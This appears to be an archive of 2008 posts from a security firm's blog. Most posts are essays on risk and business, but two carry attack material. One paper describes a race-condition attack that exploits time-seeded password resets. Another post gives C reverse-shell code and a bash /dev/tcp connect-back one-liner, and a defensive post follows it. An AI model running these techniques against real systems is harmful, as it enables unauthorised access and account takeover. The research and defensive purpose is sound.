Speaking at HickTech

April 29, 2008

I’m always interested in finding new ways that people are looking at risk and information security. To that end, I’m making the trip today up to Owne Sound, ON to participate in HickTech. I was supposed to be a part of it last year, but missed out due to a scheduling conflict.

This year, I’m excited to talk to a whole bunch of people about the way that business and government in rural areas are dealing with information security and risk management. While I’m going there to speak, I hope to learn a great deal, as well.

And, with a schedule like this one, how could I not? Topics like “Agri-Food Traceability” and the challenges of deploying broadband to rural environments are definitely new to me.


Seed Racing

April 29, 2008

SeedRacing

The Art of Exploiting Race Conditions in Random Number Generators

Craig Smith, Patrick Toomey, Cris Necker

© 2008 Neohapsis

Overview

SeedRacing is an attack against standard pseudorandom number generators. A pseudorandom number generator (PRNG) is designed to generate a sequence of numbers that lack any predictable pattern. Attacks against non-cryptographically strong pseduorandom number generators are well known[1], but our often considered “good enough” for use in non-cryptographic systems. Most languages have a default method for generating pseudorandom numbers. These default methods rarely use a cryptographically sound random number generation routine, and by default rely on insecure seeding mechanisms. When initializing your random number generator the most important step is to “seed” the random number generator. Because, once seeded, all outputs from the PRNG are the result of a completely deterministic algorithm. Thus, seeding is the only step that differentiates one instantiation of a given PRNG from another. Stated more simply, a pseudorandom number generator that is seeded with identical values will produce the same sequence of outputs. Often times these default PRNGs implicitly seed themselves using a call to a system time or tick count function. This paper will focus on attacks against these default methods of producing random numbers when the initial seed value is based on time.

An Example in .NET

Most languages are susceptible to this attack to one degree or another. A list of other languages and there susceptibility is listed at the end of this document. We have chosen .NET because the default method is widely used and is more susceptible to this attack than most other languages that we have checked. Here is an example code in .NET that grabs a random number:

private static int GetDice(int min, int max)

{

Random rand = new Random();

return rand.Next(min, max + 1);

}

This code takes a min and max values that specify the range to return for the random number. For instance a call to GetDice(1,6) would return a standard 6-sided die roll. The fact that this is very simple to code and to read coupled with the fact that MSDN[2] does not seem to stress the dangers of using this method is probably why you see this done so much. We will go into more details as to why this is dangerous next.

Now lets modify the GetDice method to allow it to pick random characters in an array that holds letters a-z. It will pick 8 characters to add to a string to generate a random password.

private static string GetRandomPassword()

{

StringBuilder password = new StringBuilder();

char[] lCase = new char[] { ‘a’, ‘b’, ‘c’, ‘d’, ‘e’, ‘f’, ‘g’, ‘h’, ‘i’, ‘j’, ‘k’, ‘l’, ‘m’, ‘n’, ‘o’, ‘p’, ‘q’, ‘r’, ’s’, ‘t’, ‘u’, ‘v’, ‘w’, ‘x’, ‘y’, ‘z’, };

int lCaseIndex = 0;

Random rand = new Random();

for(int cnt = 0; cnt < 8; cnt++ ) {

lCaseIndex = rand.Next(0, lCase.Length - 1);

password.Append(lCase[lCaseIndex]);

}

password.Append(0);

return password.ToString();

}

Now we will create a basic Web Application that has a login box. With a login box we will include a Forgot Password link that will reset the users password to a randomly generated password and email that password to the user. The Forgot Password link is called http://localhost/ForgotPassword.aspx and it takes one argument userid.

The Vulnerability

The problem comes from the call to initialize a new Random object. This line:

Random rand = new Random();

Implicitly calls:

Random rand = new Random(Environment.TickCount());

Where Environment.TickCount()[3] returns the number of milliseconds elapsed since the system startup. The problem is simple. If you call this random function in quick succession (in the same millisecond) you will get the EXACT same random value. This is because our application initializes every time before picking the next random number. This is very common in a web application because each time you connect the web server will likely create a new thread.

So how hard is it to call this function in the same millisecond? Its not too hard at all. A modern computer on a decent network can easily get out hundreds of requests in a millisecond. For our attack all we need is two.

In a localhost experiment Neohapsis sent 67,000 requests to a server with a random password generation routine similar to the one in our example. We only received 208 unique responses from the server. That is approximately 322 duplicate passwords. Again, that is under a rather ideal situation, you probably will not have that many duplicates in a real world scenario.


The Exploit

This is how the exploit would work. The attacker has an account on the target system with a valid email that they can check. Then the attacker locates a victims ID they want to target for the attack. The attacker needs to perform the following to successfully exploit this vulnerability:

1. Send two simultaneous (or close to it) web requests to the target system. One request with the attacks ID and one with the victims ID. Example: http://localhost/ForgotPassword.aspx?userid=attackerid and http://localhost/ForgotPassword.aspx?userid=victimid

2. That will reset both of their passwords and send both accounts an email. The attacker checks their email and users their generated password on the victims account.

3. If that fails, repeat.

Now that could be tedious, especially with a system that randomizes with microseconds instead of milliseconds like .NET does. However, luckily for the attacker, this is not very hard to automate. It is not only trivial to write a script to send out two simultaneous requests but also to have it check the mail and attempt to login.

This attack can potentially take several hours to execute and generate a LOT of email during that time. Won’t the users see hundreds of emails informing them that there password was reset? Sure, but by that time the attacker is already in and if the system was the mail system then the attacker can simply delete those messages. The truth of the matter is that the damage is already done and the only way to stop the attacker from breaking in is to fix the underlying code.

Remediation

Luckily this isn’t too difficult to fix. The best method of remediation is to use a more cryptographically sound Pseudo Random Number Generator (PRNG). For .NET this is the RandomNumberGenerator class[4]. For Java based systems this involves using SecureRandom[5] although as of Version 1.5 the default Random class seems greatly improved in this area. With PHP, rand and mt_rand are the same (mt_rand is faster), as the vulnerability is strictly based on what you seed mt_srand with. If the seed is set by the developer as microseconds you greatly reduce the window of exploit.

It should be noted that Microsoft’s documentation on MSDN[2] does state that Random is not a cryptographically secure class. That fact that Random has been insecure has been known for a long time but traditional attacks have been against cryptography. This paper shows that non-cryptographically sound pseudo random number generators should not be used in methods involving security or privacy.

References

[1] http://en.wikipedia.org/wiki/Random_number_generator_attack
[2] http://msdn2.microsoft.com/en-us/library/system.random.aspx
[3] http://msdn2.microsoft.com/en-us/library/system.environment.tickcount.aspx
[4] http://msdn2.microsoft.com/en-us/library/system.security.cryptography.randomnumbergenerator.aspx
[5] http://java.sun.com/j2se/1.4.2/docs/api/java/security/SecureRandom.html


Risk and Understanding All the Variables

April 28, 2008

One of the things that drives me the most insane is when data is presented as information without properly considering all of the variables. Over dinner with Martin a few weeks ago, I got off on a rant about an example of this. My target that night was the Dow Jones Industrial Average, which we hear about every time we turn on the financial news.

The Dow is a single point of data within the large sea of the economy. And, unfortunately, it presents a relatively skewed picture of the actual state of economic progress. I have been most enervated by it over the past couple years with the 2006-2007 psuedo-bull market that had every financial analyst talking about economic prosperity. (For example, see articles here, here, here, etc.).

Unfortunately, it’s pretty easy (about 2 hours of research and excel mojo) to show the illusory nature of the “bull market” that we have seen in the past 4 years. The US government has pursued an aggressive strategy of currency devaluation since 2002, and that plays heavily into the value of any asset valued in USD (e.g. the Dow). In order to understand the true nature of the state of the Dow, one must take into account all of the variables - in this case, the value of the currency that the price of the market is described in.

Dow raw and adjusted for the euro

Martin would point out that this is a somewhat naive analysis as I have only adjusted for one currency. To do a more robust analysis, we would have to average the currency impact across world regions, including the Chinese Yuan, Canadian Dollar and British Pound. However, even with a simple analysis, the results show a staggering change. While the DJIA enjoyed a raw increase of approximately 75% between 2003-2008, when adjusted for changes in currency value against the Euro, we see that increase drop to 35%.

This is significant - assuming that you got in at the absolute low (Feb 2003) and out at the top of each, this suggests that your actual annual rate of return on the investment went from 11.7% when just looking at the DJIA to 6.3% when adjusting for currency.

And I didn’t even factor in goods/services inflation or taxes. If I had, you would see that the currency loss here is the difference between making a profit and just barely breaking even on the investment.

Why am I talking about all this random financial stuff on a blog dedicated to risk and security (especially when I’m not an accountant)? Because this IS risk. This is the same kind of calculation that we make every day, and it is the same sort of mistake that I see risk management professionals make all the time. When calculating risk, we have a tendency to look only at the simple numbers - humans just aren’t good at multivariate analysis, especially in our head. So, we have a tendency to look for simple answers, often resorting the Tarzan method:

Dow up, good. Dow down, bad.

Unfortunately, it’s never quite that simple. If you don’t take into account all of the variables when considering the risk of your investments (whether financial, information security, or otherwise), you’re likely to significantly mis-read the potential for return on those investments.


Weak Application Security = Non-Compliance

April 25, 2008

I had to post about this one - our general counsel and compliance specialist Dave Stampley wrote an article recently at Information Week about the importance of ensuring application security as part of your regulatory compliance efforts. From the article:

Web-application security vulnerabilities pose a unique compliance risk for companies. Unlike compliance failures that take place in the background–for example, an unencrypted business-to-business transmission of sensitive consumer data–application weaknesses are open to discovery by any skilled Web surfer and even consumers themselves.

“The FTC appears to be taking a strict liability approach to E-commerce security flaws,” says Mary Ellen Callahan, an attorney at Hogan & Hartson in Washington, D.C., who has represented clients facing government privacy compliance investigations. “White-hat hackers and tipsters have prompted a number of enforcement actions by reporting Web-site flaws they discovered.”

Read the full article here


Whose Risk?

April 24, 2008

I often get frustrated when we talk about risk, measurement, metrics, and (my new least favorite buzz word) “key performance indicators”. Because we (as an industry) have a tendency to drop the audience from the statement of risk.

That may sound confusing, but I’ll illustrate by example. This is a real sentence that I hear far too often:

Doing that presents too much risk.

Unfortunately, that sentence is linguistically incomplete. The concept of “risk” requires specification of the audience - Risk to whom/what? This is a similar problem as that which Lakoff presents in Whose Freedom? - certain concepts require a reference to the audience in order to make sense of them. Leaving the audience unspecified is productive when used in marketing (or politics), but creates massive confusion when actually trying to have real productive discourse.

A recent post at Security Retentive illustrates the kind of confusion that ensues when the audience for risk metrics/measurements isn’t specified. (I have also previously talked (ranted?) about this type of confusion here and here.

This confusion fundamentally arises from the need to remember that risk is relative to an audience. The confusion arises because of a lack of perspective - each person in the discourse applies the “risk” to their own perspective, and comes up with radically differing meanings.

It seems important that when we’re talking about and attempting to measure and specify risk, we need to always present the data/information to a relevant audience: risk to what/whom is an important way of ensuring that we don’t remain mired in the kind of confusion that Security Retentive talked about.


Connect-back Shell - Defending the Box

April 18, 2008

Far be it from us to talk about offense without a corresponding defensive post. Cris’ post yesterday got some attention from a few other blogs (here, here, and here for starters), but it wasn’t the entire story. While we discover a lot of these methods in our penetration tests and application assessments, Neohapsis is, first and foremost, about protecting our customers. So, when you see us post something about cool new offensive methods (as I’m sure you will quite often), you can always expect someone to chime in with defense.

Today, that person is me.

Preventing the Connect-Back Shell

I’ll start with the obvious one: keep your device from being compromised. The connect-back bash trick will only work once the host is compromised as a method of allowing easy access. Thus, if the device isn’t compromised, this never happens.

Alright, that was too simple. Let’s talk about prevention once compromise happens.

What Cris wrote about isn’t new. This method of using bash to provide easy access to sockets has been known for quite some time - it’s easily discovered on the blogosphere in articles here and here for example. Since this is built-in to bash by default in most instances, the main method of prevention is the one that Cris hinted at in his article - if you’re on a system that you believe could be compromised or simply want to harden, you have to recompile bash to remove the /dev/tcp and /dev/udp redirects.

Come to think of it, though… if the box is worth hardening to that level, why have bash on the box at all? Or, at the very least, why not set all user’s shells to rbash and restrict them from accessing the redirection operators that make this possible?

Mitigation of the Issue

Since this trick lives in bash, it’s entirely within user-space. So, there are things we can do within the kernel to mitigate the attack. The first one that comes to mind is ensuring that the target host has a decent packet-filter on it - this probably should be part of most system hardening in the first place. If we’re talking about a system with a well-known service profile (e.g. a web-server), allowing all client-initiated outbound connections to the web probably isn’t the best of ideas. So, set up a packet filter on the box to allow only the connections that you know are required.

Okay… that’s just a couple of ideas. If you have other ideas, please post them in the comments section. We’d love to hear any discussion or thoughts on how to mitigate against this.


Connect-Back Shell (Literally)

April 17, 2008

In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]=”/bin/sh”;
ex[1]=”sh”;
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}

Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {

{ “/dev/tcp/*/*”, RF_DEVTCP },
{ “/dev/udp/*/*”, RF_DEVUDP },

case RF_DEVTCP:
case RF_DEVUDP:

fd = netopen (filename);

netopen.c:
netopen (path) char *path; {

np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <– Opps, NULL ptr deref
s = np + 9;
t = strchr (s, ‘/’);

*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.

So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:

$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin

$ exec 1>&0 # Next we copy stdin to stdout

$ exec 2>&0 # And finally stdin to stderr

Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.


Joining together

April 9, 2008

Another great development of RSA was the opportunity to meet the team from Securac (also known as Certus). For those that don’t know, Neohapsis acquired Securac a couple of weeks ago.

Being at RSA gave us the opportunity to have a fantastic dinner where members of both teams talked, laughed, and had a few drinks together. It’s clear that there’s a fit here - an outsider couldn’t have known who came from which company.

The New Neo Team

While I have often been an outspoken critic of mergers and acquisitions as a means of improving business, there are sometimes that it actually works. This seems like it’s one of those times - from spending a few hours with the members of the Securac team, there’s a cultural fit as well as an incredible meshing of vision and goals.

It’s going to be fun working with this team. Welcome to all of my new teammates.


Willful Blindness

April 8, 2008

RSA is always a time of endless meetings and endless discoveries of new products. Walking around the floor this year is incredibly frustrating and enlightening (which I’ll expound on in another post). But with a role entirely dedicated to evaluating products, I keep having conversations that start something like this:

My new {software/hardware/application/appliance/token} is so cool and revolutionary. It does something you’ve never seen any other product do!

That person then goes on to describe a feature that is in every product that already exists in the space, most of which are doing whatever the person has described ten times better and more effectively.

Unfortunately, I don’t have the heart to break it to them that their product is, well… lacking. But it always makes me wonder: did this person Google whether the feature existed when they had the blinding flash of inspiration that lead them to develop this (not at all) novel breakthrough?

What interests me most is the idea that they did - if they didn’t bother to do their research, it’s just ignorance. But if they did, and still believe it’s novel, that suggests a willful (though potentially unconscious) blindness to the lack of novelty in their ideas. It’s as though (to use an over-used and somewhat disturbing colloquialism) they have drank the Kool-Aid of their own invention to the point that they’re absolutely unable to see that their product is particularly interesting.